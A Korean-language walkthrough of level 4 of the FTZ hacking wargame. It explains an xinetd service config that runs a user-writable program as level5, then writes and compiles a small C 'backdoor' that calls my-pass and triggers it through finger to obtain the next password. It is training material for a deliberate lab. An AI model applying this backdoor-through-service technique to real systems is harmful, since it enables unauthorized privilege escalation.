```
login as: level4
level4@192.168.98.133's password:
[level4@ftz level4]$ ls
hint  public_html  tmp
[level4@ftz level4]$ cat hint


누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!
```

(xinetd는 네트워크 서비스에 대한 접근 제어, login에 대한 접근을 제어한다.

xinetd에서 제공하는 서비스를 모아두는 디렉토리 : /etc/xinetd.d

xinetd에서 제공하는 서비스는 모두 위의 디렉토리에 있으며 해당 서비스의 설정은 해당 파일에서 설정해야 한다.)

/etc/xinetd.d로 들어간다

```
[level4@ftz level4]$ cd /etc/xinetd.d
[level4@ftz xinetd.d]$ ls
backdoor     daytime      echo-udp  rexec   rsync     sgi_fam  time
chargen      daytime-udp  finger    rlogin  servers   talk     time-udp
chargen-udp  echo         ntalk     rsh     services  telnet
```

백도어 파일 확인하기

```
[level4@ftz xinetd.d]$ cat backdoor
service finger
{
        disable = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = level5
        server          = /home/level4/tmp/backdoor
        log_on_failure  += USERID
}
```

service , finger

disable = no, 해당 서비스를 서비스할 것인가 아닌가를 결정한다. 서비스를 하도록 설정하려면 no로 설정, 서비스를 하지 않으려면 yes로 설정한다.

Socket_type = stream, TCP일 경우 stream으로 설정하고 UDP일 경우 dgram으로 설정한다.

wait = no, xinetd가 서비스 요청을 받은 경우 이후에 즉시 또 다른 요청을 처리할 것인지 아닌지의 여부를 결정한다. stream일 경우 no여야 하고 no는 현재 요청외의 다른 접속 요청을 새로운

것으로 시작하여 처리하게 된다.

user, Level5의 권한으로 실행하고

server, 해당 서비스 요청이 들어올 경우 해당 서비스를 담당하게 될 데몬 파일의 위치를 절대

경로로 지정한다.

log_on_failure, 서버 접속에 성공하지 못하였을 때 로그파일에 기록하는 내용들을 설정할 수 있다. 여기에는 HOST, USERID, ATTEMPT, RECORD 등이 추가로 설정될 수 있다. HOST란 접속을 시도한 클라이언트의 IP주소를 의미하고 USERID란 접속한 사용자 ID를 의미한다 +=는 /etc/xinetd.conf 파일의 기본설정항목에 추가할 항목을 지정할 때 사용한다. 여기에선 log_on_failure += USERID이니 해당서비스접속시도에 실패하였을 경우 /etc/xinetd.conf파일에 USERID값, 사용자의 ID를 로그파일에 추가로 기록하라는 의미이다.

```
[level4@ftz level4]$ cd tmp
[level4@ftz tmp]$ ;s
-bash: syntax error near unexpected token `;'
[level4@ftz tmp]$ ls
```

tmp는 비어있다 → 백도어 파일을 만들어야 한다.

```
[level4@ftz tmp]$ cat> backdoor.c
#include <stdio.h>
#include <stdlib.h>

int main(void){
     system("my-pass");
     return 0;
}
```

system함수를 사용하여 backdoor실행시 my-pass 명령어를 통해 level5의 패스워드를 출력하도록 함

backdoor 파일을 gcc명령어로 컴파일한다.

gcc -o backdoor backdoor.c

```
[level4@ftz tmp]$ gcc -o backdoor backdoor.c
[level4@ftz tmp]$ ls -al
total 24
drwxrwxr-x    2 root     level4       4096 Aug 19 21:32 .
drwxr-xr-x    4 root     level4       4096 May  7  2002 ..
-rwxrwxr-x    1 level4   level4      11545 Aug 19 21:32 backdoor
-rw-rw-r--    1 level4   level4         97 Aug 19 21:28 backdoor.c
```

서비스 finger 실행

```
[level4@ftz tmp]$ finger @localhost
^[[H^[[J
Level5 Password is "what is your name?".
```